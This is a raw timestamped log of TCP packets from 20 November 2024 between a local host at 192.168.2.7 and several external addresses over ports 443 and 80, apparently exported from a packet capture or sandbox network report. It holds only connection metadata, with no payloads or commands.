Nov 20, 2024 21:05:58.116153955 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.116776943 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.116786003 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.183675051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:58.183876038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:58.187829018 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:58.307495117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:58.307610989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:58.307907104 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:58.310489893 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.310966969 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.310983896 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.311436892 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.311440945 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.427755117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:58.575653076 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.575733900 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.575782061 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.575932026 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.575948954 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.575958967 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.575964928 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.579037905 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.579071999 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.579137087 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.579294920 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.579308987 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.619343996 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.619383097 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:58.619503975 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.620214939 CET	49901	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.620232105 CET	443	49901	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:58.645149946 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.645582914 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.645596027 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.646173000 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.646182060 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.728502035 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.729028940 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.729084015 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.729582071 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.729588985 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.757709980 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.757786036 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.758095980 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.758214951 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.758232117 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.758243084 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.758249044 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.763380051 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.763437033 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.763657093 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.764106989 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.764122963 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.876468897 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.877506971 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.877521038 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.878145933 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:58.878151894 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.058244944 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.058551073 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.058588982 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.059007883 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.059401989 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.059489012 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.059649944 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.059746981 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.059779882 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.101849079 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.101923943 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.101967096 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.102159977 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.102176905 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.102191925 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.102197886 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.105407000 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.105479002 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.105562925 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.105709076 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.105722904 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.177056074 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.177212954 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.177465916 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.177655935 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.177681923 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.177694082 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.177699089 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.180324078 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.180435896 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.180533886 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.180802107 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.180833101 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.330137014 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.330218077 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.330560923 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.330594063 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.330610037 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.330621958 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.330626965 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.333300114 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.333358049 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.333600998 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.333748102 CET	49905	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:59.333765984 CET	443	49905	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:59.702560902 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:59.703327894 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:59.703365088 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:59.703907013 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:59.703916073 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:59.703973055 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:59.703982115 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:59.719173908 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719245911 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719299078 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719350100 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719384909 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719419003 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719451904 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719485044 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719517946 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719553947 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.719861984 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.839526892 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.839559078 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.839739084 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.888324976 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.888979912 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.889030933 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.889074087 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.889146090 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.889146090 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.897368908 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:59.897449017 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:59.897612095 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:59.920356989 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.920459986 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.920535088 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.920698881 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.924573898 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.924700975 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.924705029 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.924875021 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.932892084 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.932985067 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.935973883 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.936028957 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.936342955 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.936393023 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.944525003 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.944639921 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.944659948 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.944689989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.952740908 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.952812910 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.953044891 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.953094006 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.961136103 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.961150885 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.961194038 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.961215019 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.969582081 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.969619036 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.969665051 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.969702959 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.970489025 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:59.970645905 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:59.970729113 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:59.970974922 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.971404076 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.971445084 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.971993923 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.976619959 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.976727962 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.977086067 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.977241039 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.977288961 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.977386951 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.977401018 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.977547884 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.977588892 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:59.977591038 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:59.977991104 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.978140116 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.978235960 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.978283882 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.986423969 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.986493111 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.986516953 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.987024069 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.994834900 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.995011091 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:05:59.995197058 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:05:59.995244980 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.003166914 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.003221989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.019337893 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.041150093 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.041213989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.097594023 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.098012924 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.098041058 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.099064112 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.099148035 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.099505901 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.099569082 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.099694967 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.099704027 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.099773884 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.099792957 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.121814966 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.121911049 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.122174978 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.122231007 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.123188019 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.123238087 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.123796940 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.123851061 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.128367901 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.128422022 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.128573895 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.128659010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.133518934 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.133572102 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.133613110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.133667946 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.138685942 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.138741970 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.138747931 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.138787985 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.140362978 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.144118071 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.144188881 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.144401073 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.144457102 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.149036884 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.149101973 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.149197102 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.149238110 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.154309988 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.154403925 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.154429913 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.154501915 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.159362078 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.159420013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.159787893 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.159849882 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.164598942 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.164649010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.164874077 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.164932013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.169724941 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.169779062 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.169941902 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.169985056 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.174885988 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.174937010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.175096035 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.175144911 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.178713083 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.178776979 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.179061890 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.179120064 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.182601929 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.182665110 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.182905912 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.182956934 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.186433077 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.186486006 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.186755896 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.186804056 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.190287113 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.190438032 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.190448046 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.190485001 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.194119930 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.194170952 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.194185019 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.194216967 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.197974920 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.198023081 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.198096991 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.198148966 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.201780081 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.201850891 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.201936960 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.201987028 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.205672979 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.205775976 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.205799103 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.205820084 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.209436893 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.209497929 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.209570885 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.209611893 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.241489887 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.241575003 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.241667032 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.241797924 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.243591070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.243659019 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.243679047 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.243702888 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.323400021 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.323461056 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.323528051 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.325037956 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.325110912 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.325153112 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.325207949 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.327907085 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.327965975 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.328227043 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.328274965 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.330883026 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.330935955 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.330980062 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.331093073 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.333789110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.334012032 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.334069014 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.336659908 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.336716890 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.336786032 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.336836100 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.339428902 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.339509010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.339939117 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.340208054 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.342247009 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.342475891 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.342483997 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.342518091 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.345088959 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.345171928 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.345402956 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.345464945 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.348232031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.348283052 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.348395109 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.348546028 CET	49899	80	192.168.2.7	185.215.113.16
